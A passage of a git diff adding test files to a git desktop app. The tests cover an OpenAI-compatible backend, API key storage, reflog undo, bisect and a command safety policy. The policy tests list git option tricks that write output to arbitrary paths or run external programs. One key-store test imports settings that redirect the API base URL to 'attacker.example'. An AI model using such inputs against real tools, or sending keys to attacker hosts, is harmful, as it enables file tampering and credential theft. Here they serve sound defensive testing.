expect(r.result?.isError).toBe(true); + expect(text(r)).toMatch(re); + } + }); + + it('open_repository launches GitGood on the repository root, from any folder inside it', async () => { + const root = await repoWithExport(); + await mkdir(join(root, 'sub')); + const deps = recorder(); + const r = await tool('gitgood_open_repository', { path: join(root, 'sub') }, deps); + expect(r.result?.isError).toBeUndefined(); + expect(deps.dirs).toEqual([root]); + expect(JSON.parse(text(r))).toEqual({ opened: root }); + + const failing = recorder({ launchApp: async () => { throw new Error('gitgood was not found'); } }); + const bad = await tool('gitgood_open_repository', { path: root }, failing); + expect(bad.result?.isError).toBe(true); + expect(text(bad)).toContain('gitgood was not found'); + }); +}); diff --git a/test/nl-policy-hardening.test.ts b/test/nl-policy-hardening.test.ts index 913d453..68b68d7 100644 --- a/test/nl-policy-hardening.test.ts +++ b/test/nl-policy-hardening.test.ts @@ -47,6 +47,66 @@ describe('nlPolicy hardening: inspect arguments, dangerous flags and denylist', }); }); +describe('nlPolicy hardening: inspect families allow only listed options', () => { + // Abbreviations (git accepts unambiguous prefixes of long options) and unlisted options are refused with a reason. + for (const argv of [ + ['log', '--outp=/abs'], + ['log', '--out=/tmp/x'], + ['diff', '--outp=/tmp/x'], + ['diff', '--ext'], + ['diff', '--textc'], + ['show', 'HEAD', '--outp=/tmp/x'], + ['status', '--ignore-submodules'], + ['status', '--porcelain=v3'], + ['rev-parse', '--git-path', 'hooks'], + ['rev-parse', '--sq-quote', 'x'], + ['stash', 'list', '--outp=/tmp/x'], + ['reflog', 'show', '--outp=/tmp/x'], + ['reflog', '--outp=/tmp/x'], + ['log', '--show-signature'], + ['log', '--max-count=abc'], + ['log', '-n'], + ]) { + it(`refuses: ${argv.join(' ')}`, () => { + const step = plan(argv); + expect(step.executable, JSON.stringify(step)).toBe(false); + expect(step.refusalReason).toBeTruthy(); + }); + } + + for (const argv of [ + ['log', '--oneline', '-n', '5'], + ['log', '--oneline', '-n5'], + ['log', '-3', '--graph', '--decorate', '--all'], + ['log', '--author=bob', '--since=2.weeks', '--format=%h %s'], + ['diff', '--stat'], + ['diff', '--cached', '--name-only'], + ['diff', '--stat=120', 'main..feat', '--', 'src/a.ts'], + ['show', 'abc1234', '--name-only'], + ['show', 'HEAD', '--stat', '--format='], + ['status', '--short'], + ['status', '-sb'], + ['status', '--porcelain=v2', '--branch'], + ['rev-parse', '--abbrev-ref', 'HEAD'], + ['rev-parse', '--short', 'HEAD'], + ['stash', 'list', '--oneline'], + ['reflog', 'show', '-n', '10'], + ['reflog'], + ]) { + it(`still allows: ${argv.join(' ')}`, () => { + const step = plan(argv); + expect({ ok: step.executable, reason: step.refusalReason }, JSON.stringify(step)).toEqual({ ok: true, reason: null }); + }); + } + + it('runs diff-producing commands without external diff or textconv programs', () => { + for (const argv of [['log', '-p'], ['show', 'HEAD'], ['diff'], ['stash', 'list', '-p'], ['reflog', 'show', '-p']]) { + const mapped = plan(argv).mappedArgs[0] as string[]; + expect(mapped, argv.join(' ')).toEqual(expect.arrayContaining(['--no-ext-diff', '--no-textconv'])); + } + }); +}); + describe('nlPolicy hardening: "git branch" only lists', () => { // `branch` maps to the tryRun sentinel, whose readOnly flag only unsets // GIT_OPTIONAL_LOCKS, and the palette runs "safe" steps with no confirmation diff --git a/test/openai-backend.test.ts b/test/openai-backend.test.ts new file mode 100644 index 0000000..eb9e9d7 --- /dev/null +++ b/test/openai-backend.test.ts @@ -0,0 +1,114 @@ +import { createServer, type IncomingMessage, type Server } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { AiError, type AiRequest } from '../src/main/ai/backends'; +import { OpenAiBackend } from '../src/main/ai/openai-backend'; + +interface Seen { + url: string; + auth: string | undefined; + body: Record; +} + +let server: Server; +let base: string; +let seen: Seen[]; +/** One entry per expected request: [status, body]. */ +let replies: [number, unknown][]; + +const ok = (content: string, extra: Record = {}) => ({ model: 'served-model', choices: [{ message: { content }, finish_reason: 'stop' }], ...extra }); +const req = (over: Partial = {}): AiRequest => ({ system: 'SYS', prompt: 'PROMPT', schema: { type: 'object', properties: { a: { type: 'number' } } }, model: 'my-model', effort: 'high', ...over }); + +beforeEach(async () => { + seen = []; + replies = []; + server = createServer((incoming: IncomingMessage, res) => { + let raw = ''; + incoming.on('data', (c) => (raw += c)); + incoming.on('end', () => { + seen.push({ url: incoming.url ?? '', auth: incoming.headers.authorization, body: JSON.parse(raw) }); + const [status, body] = replies.shift() ?? [500, { error: { message: 'no reply queued' } }]; + res.writeHead(status, { 'content-type': 'application/json' }); + res.end(typeof body === 'string' ? body : JSON.stringify(body)); + }); + }); + await new Promise((r) => server.listen(0, '127.0.0.1', r)); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}/v1/`; +}); +afterEach(() => new Promise((r) => server.close(() => r()))); + +describe('OpenAiBackend', () => { + it('posts a strict json_schema request to {base}/chat/completions with the bearer key and maps usage', async () => { + replies.push([200, ok('{"a":1}', { usage: { prompt_tokens: 100, completion_tokens: 20, prompt_tokens_details: { cached_tokens: 40 } } })]); + const res = await new OpenAiBackend(base, 'sk-test').complete(req({ sharedPrompt: 'SHARED' })); + expect(res.json).toEqual({ a: 1 }); + expect(res.model).toBe('served-model'); + expect(res.usage).toEqual({ inputTokens: 60, outputTokens: 20, cacheReadTokens: 40, cacheWriteTokens: 0, costUsd: null }); + expect(seen).toHaveLength(1); + expect(seen[0].url).toBe('/v1/chat/completions'); + expect(seen[0].auth).toBe('Bearer sk-test'); + expect(seen[0].body.model).toBe('my-model'); + expect(seen[0].body.response_format).toEqual({ type: 'json_schema', json_schema: { name: 'response', strict: true, schema: req().schema } }); + expect(seen[0].body.messages).toEqual([ + { role: 'system', content: 'SYS' }, + { role: 'user', content: 'SHARED\n\nPROMPT' }, + ]); + }); + + it('sends no Authorization header without a key (local servers)', async () => { + replies.push([200, ok('{}')]); + await new OpenAiBackend(base, null).complete(req()); + expect(seen[0].auth).toBeUndefined(); + }); + + it('retries once with json_object and the schema in the system prompt when json_schema is rejected', async () => { + replies.push([400, { error: { message: "response_format 'json_schema' is not supported" } }], [200, ok('```json\n{"a":2}\n```')]); + const res = await new OpenAiBackend(base, null).complete(req()); + expect(res.json).toEqual({ a: 2 }); + expect(seen).toHaveLength(2); + expect(seen[1].body.response_format).toEqual({ type: 'json_object' }); + expect(seen[1].body.messages[0].content).toContain('SYS'); + expect(seen[1].body.messages[0].content).toContain(JSON.stringify(req().schema)); + }); + + it.each([ + [401, 'auth'], + [403, 'auth'], + [429, 'rate-limit'], + [404, 'other'], + [503, 'other'], + ])('maps HTTP %i to AiError kind %s', async (status, kind) => { + replies.push([status, { error: { message: 'nope sk-secretsecretsecretsecret' } }]); + const err = await new OpenAiBackend(base, 'k').complete(req()).catch((e) => e); + expect(err).toBeInstanceOf(AiError); + expect(err.kind).toBe(kind); + expect(err.message).not.toContain('sk-secretsecretsecretsecret'); + }); + + it('reports a still-rejected request after the fallback as an error', async () => { + replies.push([400, { error: { message: 'bad' } }], [400, { error: { message: 'still bad' } }]); + const err = await new OpenAiBackend(base, null).complete(req()).catch((e) => e); + expect(err.kind).toBe('other'); + expect(err.message).toContain('still bad'); + }); + + it('maps truncation, refusals and empty or non-JSON answers', async () => { + const backend = new OpenAiBackend(base, null); + replies.push([200, { choices: [{ message: { content: '{"a":' }, finish_reason: 'length' }] }]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('truncated'); + replies.push([200, { choices: [{ message: { content: null, refusal: 'cannot help' }, finish_reason: 'stop' }] }]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('refusal'); + replies.push([200, { choices: [] }]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('invalid-output'); + replies.push([200, ok('definitely not json')]); + expect((await backend.complete(req()).catch((e) => e)).kind).toBe('invalid-output'); + }); + + it('maps an unreachable server to network and an aborted signal to cancelled', async () => { + const dead = new OpenAiBackend('http://127.0.0.1:1/v1', null); + expect((await dead.complete(req()).catch((e) => e)).kind).toBe('network'); + const controller = new AbortController(); + controller.abort(); + expect((await new OpenAiBackend(base, null).complete(req({ signal: controller.signal })).catch((e) => e)).kind).toBe('cancelled'); + }); +}); diff --git a/test/openai-key-store.test.ts b/test/openai-key-store.test.ts new file mode 100644 index 0000000..2301aa8 --- /dev/null +++ b/test/openai-key-store.test.ts @@ -0,0 +1,52 @@ +import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { Store } from '../src/main/store'; + +const dirs: string[] = []; +const newStore = (): Store => { + const dir = mkdtempSync(join(tmpdir(), 'gg-openai-')); + dirs.push(dir); + const store = new Store(dir); + store.load(); + return store; +}; +afterEach(() => { + for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true }); +}); + +const exportFile = (baseUrl: string) => ({ schema: 1, app: 'gitgood', version: '1', exportedAt: 'x', platform: process.platform, preferences: { ai: { openaiBaseUrl: baseUrl } } }); + +describe('OpenAI-compatible API key', () => { + it('is stored separately from the Anthropic key and flagged in settings', () => { + const store = newStore(); + store.setApiKey('anthropic-key'); + store.setOpenaiApiKey('openai-key'); + expect(store.getApiKey()).toBe('anthropic-key'); + expect(store.getOpenaiApiKey()).toBe('openai-key'); + expect(store.getSettings().ai).toMatchObject({ hasApiKey: true, hasOpenaiApiKey: true }); + store.setOpenaiApiKey(null); + expect(store.getOpenaiApiKey()).toBeNull(); + expect(store.getApiKey()).toBe('anthropic-key'); + expect(store.getSettings().ai.hasOpenaiApiKey).toBe(false); + }); + + it('never appears in an export', () => { + const store = newStore(); + store.setOpenaiApiKey('openai-secret-value'); + expect(JSON.stringify(store.buildExport(['preferences', 'integrations', 'repositories'], []))).not.toContain('openai-secret-value'); + }); + + it('is dropped when an import changes the base URL, so a file cannot redirect it', () => { + const store = newStore(); + store.updateSettings({ ai: { ...store.getSettings().ai, openaiBaseUrl: 'https://api.openai.com/v1' } }); + store.setOpenaiApiKey('openai-secret-value'); + store.importSettings(exportFile('https://api.openai.com/v1'), 'merge', ['preferences']); + expect(store.getOpenaiApiKey()).toBe('openai-secret-value'); + store.importSettings(exportFile('https://attacker.example/v1'), 'merge', ['preferences']); + expect(store.getOpenaiApiKey()).toBeNull(); + expect(store.getSettings().ai.openaiBaseUrl).toBe('https://attacker.example/v1'); + expect(readFileSync(join(dirs[0], 'secrets.json'), 'utf8')).not.toContain('openai-secret-value'); + }); +}); diff --git a/test/precommit-review-service.test.ts b/test/precommit-review-service.test.ts index f0d948e..ede95e3 100644 --- a/test/precommit-review-service.test.ts +++ b/test/precommit-review-service.test.ts @@ -157,7 +157,13 @@ describe.skipIf(!hasGitSync())('ReviewService agent export (real git)', () => { expect(latest.runId).toBe('run-1'); expect(latest.previousRunId).toBeNull(); expect(latest.findings.map((f: { id: string; dismissed: boolean }) => [f.id, f.dismissed])).toEqual([['f2', false], ['f1', true]]); - expect(latest.rerun.url).toBe(`gitgood://review/rerun?repo=${encodeURIComponent(repo.path)}`); + const token = /&token=([0-9a-f]{32})$/.exec(latest.rerun.url)?.[1]; + expect(latest.rerun.url).toBe(`gitgood://review/rerun?repo=${encodeURIComponent(repo.path)}&token=${token}`); + expect(await readFile(join(dir, 'latest.md'), 'utf8')).toContain(`&token=${token}`); + expect(service.consumeRerunToken(repo.path, 'nope')).toBe(false); + expect(service.consumeRerunToken('/other/repo', token!)).toBe(false); + expect(service.consumeRerunToken(repo.path, token!)).toBe(true); + expect(service.consumeRerunToken(repo.path, token!)).toBe(false); expect(JSON.parse(await readFile(join(dir, 'runs', 'run-1.json'), 'utf8')).runId).toBe('run-1'); const md = await readFile(join(dir, 'latest.md'), 'utf8'); expect(md).toContain('Hard-coded token'); diff --git a/test/protocol.test.ts b/test/protocol.test.ts index 522c487..432a5e0 100644 --- a/test/protocol.test.ts +++ b/test/protocol.test.ts @@ -8,14 +8,20 @@ describe('parseProtocolUrl', () => { }); it('parses the re-review deep link with a percent-encoded path', () => { - expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app')).toEqual({ kind: 'review-rerun', repoPath: '/home/dev/my app' }); - expect(parseProtocolUrl(' GITGOOD://review/rerun/?repo=C%3A%5Cwork%5Capp \n')).toEqual({ kind: 'review-rerun', repoPath: 'C:\\work\\app' }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app')).toEqual({ kind: 'review-rerun', repoPath: '/home/dev/my app', token: null }); + expect(parseProtocolUrl(' GITGOOD://review/rerun/?repo=C%3A%5Cwork%5Capp \n')).toEqual({ kind: 'review-rerun', repoPath: 'C:\\work\\app', token: null }); + }); + + it('keeps the per-run token of the exported link, in either parameter order', () => { + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fr&token=abc123')).toEqual({ kind: 'review-rerun', repoPath: '/r', token: 'abc123' }); + expect(parseProtocolUrl('gitgood://review/rerun?token=abc123&repo=%2Fr')).toEqual({ kind: 'review-rerun', repoPath: '/r', token: 'abc123' }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fr&token=')).toEqual({ kind: 'review-rerun', repoPath: '/r', token: null }); }); it('keeps a plus sign in the path instead of decoding it as a space', () => { // URLSearchParams would turn '+' into ' '; '+' is legal in a path everywhere. - expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fsrc%2Fc%2B%2B%20app')).toEqual({ kind: 'review-rerun', repoPath: '/src/c++ app' }); - expect(parseProtocolUrl('gitgood://review/rerun?repo=/src/c+/x')).toEqual({ kind: 'review-rerun', repoPath: '/src/c+/x' }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=%2Fsrc%2Fc%2B%2B%20app')).toEqual({ kind: 'review-rerun', repoPath: '/src/c++ app', token: null }); + expect(parseProtocolUrl('gitgood://review/rerun?repo=/src/c+/x')).toEqual({ kind: 'review-rerun', repoPath: '/src/c+/x', token: null }); }); it('ignores rerun links without a repo and unknown paths', () => { diff --git a/test/reflog-bisect.test.ts b/test/reflog-bisect.test.ts new file mode 100644 index 0000000..671f70a --- /dev/null +++ b/test/reflog-bisect.test.ts @@ -0,0 +1,271 @@ +import { existsSync } from 'node:fs'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { bisectHistoryRef, bisectMark, bisectReset, bisectStart, getBisectState } from '../src/main/git/bisect'; +import { GitClient } from '../src/main/git/git'; +import { pull } from '../src/main/git/operations'; +import { getReflog, getUndoPlan, planUndo, resetKeep } from '../src/main/git/reflog'; +import { createRepo, hasGitSync } from './helpers/repo'; + +describe.skipIf(!hasGitSync())('reflog', () => { + it('lists HEAD entries newest first with action, message and sha', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1' } }, { message: 'two', files: { a: '2' } }] }); + try { + const git = new GitClient(repo.tools()); + const two = repo.git(['rev-parse', 'HEAD']).trim(); + repo.git(['commit', '--amend', '-m', 'two amended']); + repo.git(['checkout', '-q', '-b', 'side']); + repo.git(['checkout', '-q', 'main']); + repo.git(['reset', '-q', '--hard', 'HEAD~1']); + const entries = await getReflog(git, repo.path); + expect(entries.slice(0, 5).map((e) => [e.action, e.message])).toEqual([ + ['reset', 'moving to HEAD~1'], + ['checkout', 'moving from side to main'], + ['checkout', 'moving from main to side'], + ['commit (amend)', 'two amended'], + ['commit', 'two'], + ]); + expect(entries.map((e) => e.index)).toEqual(entries.map((_, i) => i)); + expect(entries[4].sha).toBe(two); + expect(entries[0].sha).toBe(repo.git(['rev-parse', 'HEAD']).trim()); + expect(entries[0].timestamp).toBeGreaterThan(0); + } finally { + await repo.dispose(); + } + }); + + it('undo-last of a commit, amend or reset restores the previous HEAD', async () => { + const repo = await createRepo({ commits: [{ message: 'zero', files: { a: '0' } }, { message: 'one', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + for (const step of [ + () => repo.commit({ message: 'two', files: { a: '2' } }), + () => repo.git(['commit', '--amend', '--allow-empty', '-m', 'two b']), + () => repo.git(['reset', '-q', '--hard', 'HEAD~1']), + ]) { + const before = repo.git(['rev-parse', 'HEAD']).trim(); + step(); + const plan = await getUndoPlan(git, repo.path); + expect(plan?.kind).toBe('reset'); + if (plan?.kind !== 'reset') throw new Error('unreachable'); + await resetKeep(git, repo.path, plan.target.sha, false); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(before); + // the branch keeps pointing at the restored commit and the tree matches it + expect(repo.git(['status', '--porcelain']).trim()).toBe(''); + } + } finally { + await repo.dispose(); + } + }); + + it('describes the undone entry and skips no-op resets', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + repo.commit({ message: 'two', files: { a: '2' } }); + repo.git(['reset', '-q', '--hard', 'HEAD']); + const plan = await getUndoPlan(git, repo.path); + expect(plan).toMatchObject({ kind: 'reset', description: 'Commit: two' }); + } finally { + await repo.dispose(); + } + }); + + it('undoes a whole rebase, not just its last replayed commit', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + repo.git(['checkout', '-q', '-b', 'feat']); + repo.commit({ message: 'f1', files: { f1: '1' } }); + repo.commit({ message: 'f2', files: { f2: '1' } }); + const before = repo.git(['rev-parse', 'HEAD']).trim(); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'm1', files: { m1: '1' } }); + repo.git(['checkout', '-q', 'feat']); + repo.git(['rebase', 'main']); + expect(repo.git(['rev-parse', 'HEAD']).trim()).not.toBe(before); + const plan = await getUndoPlan(git, repo.path); + expect(plan).toMatchObject({ kind: 'reset', description: 'Rebase' }); + if (plan?.kind !== 'reset') throw new Error('unreachable'); + await resetKeep(git, repo.path, plan.target.sha, false); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(before); + } finally { + await repo.dispose(); + } + }); + + it('undoes only the latest GitGood pull --rebase run (keeping local commits), not the previous consecutive one', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { a: '1' } }], remote: true }); + try { + const git = new GitClient(repo.tools()); + const other = join(repo.root, 'other'); + repo.git(['clone', '-q', repo.remotePath!, other], repo.root); + repo.git(['config', 'user.name', 'Other'], other); + repo.git(['config', 'user.email', 'other@example.com'], other); + const upstream = (name: string) => { + repo.git(['commit', '-q', '--allow-empty', '-m', name], other); + repo.git(['push', '-q', 'origin', 'main'], other); + }; + repo.commit({ message: 'l1', files: { l1: '1' } }); + repo.commit({ message: 'l2', files: { l2: '1' } }); + upstream('u1'); + await pull(git, repo.path, true, () => undefined); + const beforeSecond = repo.git(['rev-parse', 'HEAD']).trim(); + upstream('u2'); + await pull(git, repo.path, true, () => undefined); + expect(repo.git(['rev-parse', 'HEAD']).trim()).not.toBe(beforeSecond); + + const second = await getUndoPlan(git, repo.path); + expect(second).toMatchObject({ kind: 'reset', description: 'Pull (rebase)' }); + if (second?.kind !== 'reset') throw new Error('unreachable'); + expect(second.target.sha).toBe(beforeSecond); + await resetKeep(git, repo.path, second.target.sha, false); + expect(repo.git(['log', '--format=%s', '-n', '3']).trim().split('\n')).toEqual(['l2', 'l1', 'u1']); + } finally { + await repo.dispose(); + } + }); + + it('undoes only the latest of two consecutive plain rebases', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + repo.git(['checkout', '-q', '-b', 'feat']); + repo.commit({ message: 'f1', files: { f1: '1' } }); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'm1', files: { m1: '1' } }); + repo.git(['checkout', '-q', 'feat']); + repo.git(['rebase', '-q', 'main']); + const afterFirst = repo.git(['rev-parse', 'HEAD']).trim(); + // Moves main without touching HEAD, so the two rebases are back to back in the HEAD reflog. + repo.git(['update-ref', 'refs/heads/main', repo.git(['commit-tree', 'main^{tree}', '-p', 'main', '-m', 'm2']).trim()]); + repo.git(['rebase', '-q', 'main']); + + const second = await getUndoPlan(git, repo.path); + if (second?.kind !== 'reset') throw new Error('expected reset'); + expect(second.target.sha).toBe(afterFirst); + } finally { + await repo.dispose(); + } + }); + + it('skips an aborted rebase and plans from the operation before it', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + repo.git(['checkout', '-q', '-b', 'feat']); + repo.commit({ message: 'f1', files: { a: 'feat' } }); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'm1', files: { a: 'main' } }); + repo.git(['checkout', '-q', 'feat']); + expect(() => repo.git(['rebase', '-q', 'main'])).toThrow(); + repo.git(['rebase', '--abort']); + expect(await getUndoPlan(git, repo.path)).toMatchObject({ kind: 'checkout', ref: 'main', isBranch: true }); + } finally { + await repo.dispose(); + } + }); + + it('offers switching back after a checkout, naming a branch or a detached commit', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1' } }], branches: { other: undefined } }); + try { + const git = new GitClient(repo.tools()); + repo.git(['checkout', '-q', 'other']); + expect(await getUndoPlan(git, repo.path)).toMatchObject({ kind: 'checkout', ref: 'main', isBranch: true }); + repo.git(['checkout', '-q', '--detach']); + const detachedAt = repo.git(['rev-parse', 'HEAD']).trim(); + repo.git(['checkout', '-q', 'main']); + expect(await getUndoPlan(git, repo.path)).toMatchObject({ kind: 'checkout', ref: detachedAt, isBranch: false }); + } finally { + await repo.dispose(); + } + }); + + it('has nothing to undo for a fresh repository', () => { + expect(planUndo([{ index: 0, sha: 'a'.repeat(40), action: 'commit (initial)', message: 'one', timestamp: 0 }], new Set())).toBeNull(); + }); + + it('reset --keep keeps unrelated local changes and refuses overlapping ones unless stashing first', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1', b: '1' } }, { message: 'two', files: { a: '2' } }] }); + try { + const git = new GitClient(repo.tools()); + const first = repo.git(['rev-parse', 'HEAD~1']).trim(); + await repo.write('b', 'local edit'); + await resetKeep(git, repo.path, first, false); + expect(repo.git(['status', '--porcelain']).trim()).toBe('M b'); + + repo.git(['checkout', '-q', 'main']); + repo.git(['reset', '-q', '--hard', 'ORIG_HEAD']); + await repo.write('a', 'conflicting local edit'); + await expect(resetKeep(git, repo.path, first, false)).rejects.toMatchObject({ info: { code: 'local-changes-overwritten' } }); + await resetKeep(git, repo.path, first, true); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(first); + expect(repo.git(['stash', 'list']).trim()).not.toBe(''); + } finally { + await repo.dispose(); + } + }); +}); + +describe.skipIf(!hasGitSync())('bisect', () => { + it('walks an 8-commit history to the first bad commit, then reset restores the branch', async () => { + const repo = await createRepo({ + commits: Array.from({ length: 8 }, (_, i) => ({ message: `c${i + 1}`, files: { [`f${i + 1}`]: 'x', ...(i + 1 >= 5 ? { bug: 'yes' } : {}) } })), + }); + try { + const git = new GitClient(repo.tools()); + const head = repo.git(['rev-parse', 'HEAD']).trim(); + const c1 = repo.git(['rev-parse', 'HEAD~7']).trim(); + const c5 = repo.git(['rev-parse', 'HEAD~3']).trim(); + expect(await bisectHistoryRef(git, repo.path)).toBeNull(); + expect(await getBisectState(git, repo.path)).toBeNull(); + + await bisectStart(git, repo.path, head, c1); + expect(await bisectHistoryRef(git, repo.path)).toBe('main'); + let state = await getBisectState(git, repo.path); + expect(state).toMatchObject({ bad: head, good: [c1], firstBad: null }); + expect(state?.remaining).toBeGreaterThan(0); + expect(state?.steps).toBeGreaterThan(0); + await expect(bisectStart(git, repo.path, head, c1)).rejects.toThrow(/already in progress/); + + for (let guard = 0; guard < 8 && !state?.firstBad; guard += 1) { + await bisectMark(git, repo.path, existsSync(join(repo.path, 'bug')) ? 'bad' : 'good', null); + state = await getBisectState(git, repo.path); + } + expect(state?.firstBad).toEqual({ sha: c5, summary: 'c5' }); + + await bisectReset(git, repo.path); + expect(await getBisectState(git, repo.path)).toBeNull(); + expect(repo.git(['branch', '--show-current']).trim()).toBe('main'); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(head); + } finally { + await repo.dispose(); + } + }); + + it('marks explicit commits and rolls back a start that cannot check out', async () => { + const repo = await createRepo({ commits: Array.from({ length: 4 }, (_, i) => ({ message: `c${i + 1}`, files: { [`f${i + 1}`]: 'x' } })) }); + try { + const git = new GitClient(repo.tools()); + const c1 = repo.git(['rev-parse', 'HEAD~3']).trim(); + const c4 = repo.git(['rev-parse', 'HEAD']).trim(); + await expect(bisectStart(git, repo.path, c4, 'does-not-exist')).rejects.toThrow(/not a commit/); + expect(await getBisectState(git, repo.path)).toBeNull(); + + // The midpoint checkout would delete f4, which has a local edit: git refuses and nothing is left half-started. + await repo.write('f4', 'local edit'); + await expect(bisectStart(git, repo.path, c4, c1)).rejects.toThrow(); + expect(await getBisectState(git, repo.path)).toBeNull(); + expect(repo.git(['branch', '--show-current']).trim()).toBe('main'); + repo.git(['checkout', '--', 'f4']); + + await bisectStart(git, repo.path, c4, c1); + await bisectMark(git, repo.path, 'good', c1); + await bisectMark(git, repo.path, 'skip', null); + expect((await getBisectState(git, repo.path))?.good).toContain(c1); + await bisectReset(git, repo.path); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/repo-ai-guard.test.ts b/test/repo-ai-guard.test.ts new file mode 100644 index 0000000..cbdc73a --- /dev/null +++ b/test/repo-ai-guard.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it, vi } from 'vitest'; +import { AiError } from '../src/main/ai/backends'; +import { guardAiHandlers } from '../src/main/ai/repo-guard'; + +function build() { + const handlers = { + 'ai.review.start': vi.fn(async (_repo: string) => 'started'), + 'ai.explainError': vi.fn(async (_repo: string | null) => 'explained'), + 'ai.cancel': vi.fn(async () => undefined), + 'ai.split.undo': vi.fn(async (_repo: string) => 'undone'), + 'repo.status': vi.fn(async (_repo: string) => 'status'), + }; + guardAiHandlers(handlers as never, async (repoPath) => (repoPath === '/off' ? 'AI is off here' : null)); + return handlers; +} + +describe('guardAiHandlers', () => { + it('refuses ai.* calls for an opted-out repository before the handler runs', async () => { + const inner = vi.fn(async () => 'started'); + const handlers = { 'ai.review.start': inner }; + guardAiHandlers(handlers as never, async (p) => (p === '/off' ? 'AI is off here' : null)); + await expect(handlers['ai.review.start']('/off' as never)).rejects.toThrow(AiError); + expect(inner).not.toHaveBeenCalled(); + await expect(handlers['ai.review.start']('/on' as never)).resolves.toBe('started'); + }); + + it('leaves non-ai methods, argument-less calls, null repo paths and rollbacks alone', async () => { + const h = build() as Record Promise>; + await expect(h['repo.status']('/off')).resolves.toBe('status'); + await expect(h['ai.cancel']()).resolves.toBeUndefined(); + await expect(h['ai.explainError'](null)).resolves.toBe('explained'); + await expect(h['ai.split.undo']('/off')).resolves.toBe('undone'); + }); + + it('guards methods added later by prefix, not by a list', async () => { + const h = { 'ai.somethingNew': async (_p: string) => 'ok' }; + guardAiHandlers(h as never, async () => 'blocked'); + await expect(h['ai.somethingNew']('/x')).rejects.toThrow('blocked'); + }); +}); diff --git a/test/repo-config.test.ts b/test/repo-config.test.ts index df6a98f..35b1bfc 100644 --- a/test/repo-config.test.ts +++ b/test/repo-config.test.ts @@ -7,21 +7,27 @@ import { resolveCheckCommand } from '../src/main/ai/check-runner'; describe('parseRepoConfig', () => { it('reads a valid postResolveCheck command', () => { - expect(parseRepoConfig({ postResolveCheck: 'npm run typecheck' })).toEqual({ postResolveCheck: 'npm run typecheck' }); + expect(parseRepoConfig({ postResolveCheck: 'npm run typecheck' })).toEqual({ postResolveCheck: 'npm run typecheck', ai: true }); }); it('treats a missing field as no command', () => { - expect(parseRepoConfig({})).toEqual({ postResolveCheck: null }); + expect(parseRepoConfig({})).toEqual({ postResolveCheck: null, ai: true }); }); it('treats a blank command as no command', () => { - expect(parseRepoConfig({ postResolveCheck: ' ' })).toEqual({ postResolveCheck: null }); + expect(parseRepoConfig({ postResolveCheck: ' ' })).toEqual({ postResolveCheck: null, ai: true }); + }); + + it('reads "ai": false as an opt-out and anything else as enabled', () => { + expect(parseRepoConfig({ ai: false }).ai).toBe(false); + expect(parseRepoConfig({ ai: 'no' }).ai).toBe(true); + expect(parseRepoConfig({}).ai).toBe(true); }); it('treats malformed input as no command', () => { - expect(parseRepoConfig(null)).toEqual({ postResolveCheck: null }); - expect(parseRepoConfig('not an object')).toEqual({ postResolveCheck: null }); - expect(parseRepoConfig({ postResolveCheck: 42 })).toEqual({ postResolveCheck: null }); + expect(parseRepoConfig(null)).toEqual({ postResolveCheck: null, ai: true }); + expect(parseRepoConfig('not an object')).toEqual({ postResolveCheck: null, ai: true }); + expect(parseRepoConfig({ postResolveCheck: 42 })).toEqual({ postResolveCheck: null, ai: true }); }); }); @@ -36,19 +42,19 @@ describe('readRepoConfig (fixture)', () => { dir = mkdtempSync(join(tmpdir(), 'gitgood-repo-config-')); mkdirSync(join(dir, '.gitgood')); writeFileSync(join(dir, '.gitgood', 'config.json'), JSON.stringify({ postResolveCheck: 'npm run typecheck' })); - expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: 'npm run typecheck' }); + expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: 'npm run typecheck', ai: true }); }); it('returns no command when the file is absent', async () => { dir = mkdtempSync(join(tmpdir(), 'gitgood-repo-config-')); - expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null }); + expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null, ai: true }); }); it('returns no command when the file is malformed JSON, without throwing', async () => { dir = mkdtempSync(join(tmpdir(), 'gitgood-repo-config-')); mkdirSync(join(dir, '.gitgood')); writeFileSync(join(dir, '.gitgood', 'config.json'), '{ not json'); - expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: null }); + expect(await readRepoConfig(dir)).toEqual({ postResolveCheck: 